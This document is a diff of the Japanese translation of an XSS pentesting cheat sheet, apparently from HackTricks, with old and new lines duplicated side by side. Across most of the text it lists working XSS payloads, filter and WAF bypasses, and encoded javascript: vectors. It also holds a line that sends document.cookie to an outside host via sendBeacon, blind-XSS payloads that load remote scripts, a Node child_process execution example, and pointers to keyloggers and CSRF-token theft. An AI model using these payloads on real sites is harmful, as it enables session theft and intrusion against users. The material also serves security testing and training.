If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/)because you could **exploit** the vulnerability **without** executing **JS** code. もし**JSコードを実行する属性を持つHTMLタグを作成することが不可能だと思う**なら、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/)を確認してください。なぜなら、**JS**コードを実行することなく脆弱性を**悪用**できるかもしれません。
## Injecting inside HTML tag ## Injecting inside HTML tag
### Inside the tag/escaping from attribute value ### Inside the tag/escaping from attribute value
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\ もし**HTMLタグの内部にいる**場合、最初に試すべきことは**タグからエスケープ**し、[前のセクション](./#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_): もし**タグからエスケープできない**場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -355,7 +355,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**他の難読化トリック** **他の難読化トリック**
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_ _**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるからです。**_
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
@ -365,11 +365,11 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
%27-alert(1)-%27 %27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
``` ```
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロードの中で混ぜる**ことができます 注意してください、もしあなたが**両方を使用しようとすると** `URLencode + HTMLencode` どの順序でも**ペイロード**をエンコードすると**動作しません**が、**ペイロード内で混ぜることができます**
**`javascript:`を使ったHexおよびOctalエンコード** **`javascript:`を使った16進数と8進数のエンコード**
あなたは**Hex**および**Octalエンコード**を`iframe`の`src`属性の中で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます: **Hex**と**Octal encode**を`iframe`の`src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言する**ことができます:
```javascript ```javascript
//Encoded: <svg onload=alert(1)> //Encoded: <svg onload=alert(1)>
// This WORKS // This WORKS
@ -385,7 +385,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```javascript ```javascript
<a target="_blank" rel="opener" <a target="_blank" rel="opener"
``` ```
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`**および**`rel="opener"`**属性を含む場合は、**この動作を悪用するために以下のページを確認してください** もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`および`rel="opener"`**属性を含む場合は、この**動作を悪用するための次のページを確認してください**
{% content-ref url="../reverse-tab-nabbing.md" %} {% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md) [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -393,8 +393,8 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
### イベントハンドラーのバイパス ### イベントハンドラーのバイパス
まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください[https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\ まず、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)で役立つ**"on"イベントハンドラー**を確認してください。\
このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます: もしこのイベントハンドラーの作成を妨げるブラックリストがある場合は、のバイパスを試すことができます:
```javascript ```javascript
<svg onload%09=alert(1)> //No safari <svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)> <svg %09onload=alert(1)>
@ -432,7 +432,7 @@ Android: %09 %20 %28 %2C %3B
### ブラックリストバイパス ### ブラックリストバイパス
このセクションでは、さまざまなエンコーディングを使用するトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:** このセクションでは、異なるエンコーディングを使用するいくつかのトリックがすでに公開されています。**戻って、どこで使用できるかを学びましょう:**
* **HTMLエンコーディングHTMLタグ** * **HTMLエンコーディングHTMLタグ**
* **Unicodeエンコーディング有効なJSコードになる可能性があります** `\u0061lert(1)` * **Unicodeエンコーディング有効なJSコードになる可能性があります** `\u0061lert(1)`
@ -450,11 +450,11 @@ Android: %09 %20 %28 %2C %3B
### CSSガジェット ### CSSガジェット
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要ですフッターの小さなリンクにonmouseover要素があるかもしれません、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。 もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です例えば、マウスオーバー要素を持つフッターの小さなリンクなど)、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合 しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用することができます。例えば、次のようなものを見つけた場合
> .test {display:block; color: blue; width: 100%\} > .test {display:block; color: blue; width: 100%\}
@ -474,7 +474,7 @@ Android: %09 %20 %28 %2C %3B
### \<script>タグのエスケープ ### \<script>タグのエスケープ
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`** もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`**
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
@ -482,7 +482,7 @@ Android: %09 %20 %28 %2C %3B
### JSコード内 ### JSコード内
`<>`がサニタイズされている場合でも、**入力が**ある場所で**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません `<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
@ -490,8 +490,8 @@ Android: %09 %20 %28 %2C %3B
``` ```
### テンプレートリテラル \`\` ### テンプレートリテラル \`\`
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ **文字列**を単一引用符や二重引用符以外で構築するために、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列の中にあなたの入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます: したがって、入力がバックティックを使用しているJS文字列内に**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます:
これは次のように**悪用**できます: これは次のように**悪用**できます:
```javascript ```javascript
@ -511,7 +511,7 @@ loop``````````````
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>"> <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
``` ```
### Unicode エンコード JS 実行 ### Unicode Encode JS 実行
```javascript ```javascript
\u{61}lert(1) \u{61}lert(1)
\u0061lert(1) \u0061lert(1)
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
```` ````
## **DOMの脆弱性** ## **DOMの脆弱性**
攻撃者によって制御され**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`です。攻撃者はこれを悪用して任意のJSコードを実行することができます。\ 攻撃者によって制御され**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:** **DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
@ -759,11 +759,11 @@ top[8680439..toString(30)](1)
### 管理者にセッションを送信する ### 管理者にセッションを送信する
ユーザーが自分のプロフィールを管理者と共有できる場合、セルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。 ユーザーが管理者とプロフィールを共有できる場合、セルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
### セッションミラーリング ### セッションミラーリング
セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることになります。 セルフXSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼はあなたのセッションで見ているものを彼のセッションから見ることになります。
あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。 あなたは**管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
@ -777,14 +777,14 @@ top[8680439..toString(30)](1)
```javascript ```javascript
"><svg/onload=confirm(1)>"@x.y "><svg/onload=confirm(1)>"@x.y
``` ```
### Ruby-On-Rails bypass ### Ruby-On-Rails バイパス
**RoRマスアサインメント**のため、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールドonfocusがタグ内に追加されることがあります。\ **RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、追加のフィールドonfocusがタグ内に追加されることがあります。\
フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると: フォームの例([このレポートから](https://hackerone.com/reports/709336))、ペイロードを送信すると:
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
"Key","Value"のペアは次のようにエコーされます: "Key""Value"のペアは次のようにエコーされます:
``` ```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"} {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
``` ```
@ -822,22 +822,22 @@ document['default'+'View'][`\u0061lert`](3)
``` ```
### XSS with header injection in a 302 response ### XSS with header injection in a 302 response
もしあなたが**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。 もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
[**このレポート**](https://www.gremwell.com/firefox-xss-302)と[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\ [**このレポート**](https://www.gremwell.com/firefox-xss-302) [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`. 過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
### Only Letters, Numbers and Dots ### Only Letters, Numbers and Dots
もしあなたが**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください。 もしあなたが **コールバック** を示すことができるなら、javascriptが **実行する** 文字はそれらの文字に制限されます。[**この投稿のこのセクションを読んで**](./#javascript-function) この動作を悪用する方法を見つけてください。
### Valid `<script>` Content-Types to XSS ### Valid `<script>` Content-Types to XSS
[**こちら**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)から)もしあなたが`application/octet-stream`のような**コンテンツタイプ**でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます
> MIMEタイプapplication/octet-streamが実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。 > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。 Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) の定数 **`kSupportedJavascriptTypes`** 内のものです。
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -895,7 +895,7 @@ import moment from "moment";
import { partition } from "lodash"; import { partition } from "lodash";
</script> </script>
``` ```
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。 この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができるように使用されました。
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります: * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
```html ```html
@ -930,7 +930,7 @@ import { partition } from "lodash";
### xml Content Type ### xml Content Type
ページがtext/xmlコンテンツタイプを返場合、名前空間を指定して任意のJSを実行することが可能です ページがtext/xmlコンテンツタイプを返している場合、名前空間を指定して任意のJSを実行することが可能です
```xml ```xml
<xml> <xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -940,9 +940,9 @@ import { partition } from "lodash";
``` ```
### 特殊な置換パターン ### 特殊な置換パターン
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用して、いくつかの保護を回避しようとすることがあります: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` **`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊な文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)を使用して、いくつかの保護を回避しようとする可能性があります: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。 例えば、[**このレポート**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
### ChromeキャッシュからXSSへ ### ChromeキャッシュからXSSへ
@ -983,14 +983,14 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in // For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
``` ```
もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**この書き込み**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solvesのように、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です もし**すべてが未定義**である場合、信頼できないコードを実行する前に([**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solvesのように、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です
* import()を使用して * import()を使用する
```javascript ```javascript
// although import "fs" doesnt work, import('fs') does. // although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
* `require`への間接アクセス * `require`を間接的にアクセスする
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって関数内にラップされます。 [これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによって関数内にラップされます。
```javascript ```javascript
@ -1043,9 +1043,9 @@ console.log(req('child_process').execSync('id').toString())
} }
trigger() trigger()
``` ```
### オブfuscation & 高度なバイパス ### Obfuscation & Advanced Bypass
* **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * **1つのページ内の異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1117,7 +1117,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
{% hint style="info" %} {% hint style="info" %}
HTTPOnlyフラグがクッキーに設定されている場合、**JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法](../hacking-with-cookies/#httponly)があります。 JavaScriptからクッキーにアクセスすることは**できません**が、クッキーにHTTPOnlyフラグが設定されている場合。ですが、運が良ければ、[この保護を回避する方法](../hacking-with-cookies/#httponly)があります。
{% endhint %} {% endhint %}
### ページコンテンツを盗む ### ページコンテンツを盗む
@ -1226,7 +1226,7 @@ GitHubで検索したところ、いくつかの異なるものが見つかり
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* metasploitの`http_javascript_keylogger`も使用できます * metasploitの`http_javascript_keylogger`も使用できます
### CSRFトークンの盗難 ### CSRFトークンの盗難
```javascript ```javascript
@ -1269,7 +1269,7 @@ document.getElementById("message").src += "&"+e.data;
### ブラインドXSSペイロード ### ブラインドXSSペイロード
次のリンクも使用できます: [https://xsshunter.com/](https://xsshunter.com) あなたは次のものも使用できます: [https://xsshunter.com/](https://xsshunter.com)
```markup ```markup
"><img src='//domain/xss'> "><img src='//domain/xss'>
"><script src="//domain/xss.js"></script> "><script src="//domain/xss.js"></script>
@ -1309,9 +1309,9 @@ document.getElementById("message").src += "&"+e.data;
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... --> <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div> <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
``` ```
### Regex - 隠れたコンテンツへのアクセス ### Regex - 隠れたコンテンツへのアクセス
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、正規表現入力値が削除された後でも見つけることができます: [**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力の値が削除された後でも、そのREGEXの入力の値を見つけることが可能です:
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag="CTF{FLAG}" flag="CTF{FLAG}"
@ -1346,19 +1346,19 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
クッキー制限、XSSフィルターなどを回避するために使用します!\ それを使用して、クッキー制限、XSSフィルターなどをバイパスできます!\
この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。 この技術に関する詳細情報はこちら: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 動的に作成されたPDFにおけるXSS ### 動的に作成されたPDFにおけるXSS
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\ ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、この動作を**悪用**して**サーバーXSS**を引き起こすことができます。 したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %} {% endcontent-ref %}
HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があります HTMLタグを注入できない場合は、**PDFデータを注入する**ことを試みる価値があるかもしれません
{% content-ref url="pdf-injection.md" %} {% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md) [pdf-injection.md](pdf-injection.md)
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_).

View file

@ -1,20 +1,20 @@
# Steal Info JS
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
```javascript ```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
@ -123,21 +123,19 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data)) exfil_info("onmessage", encode(e.data))
} }
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
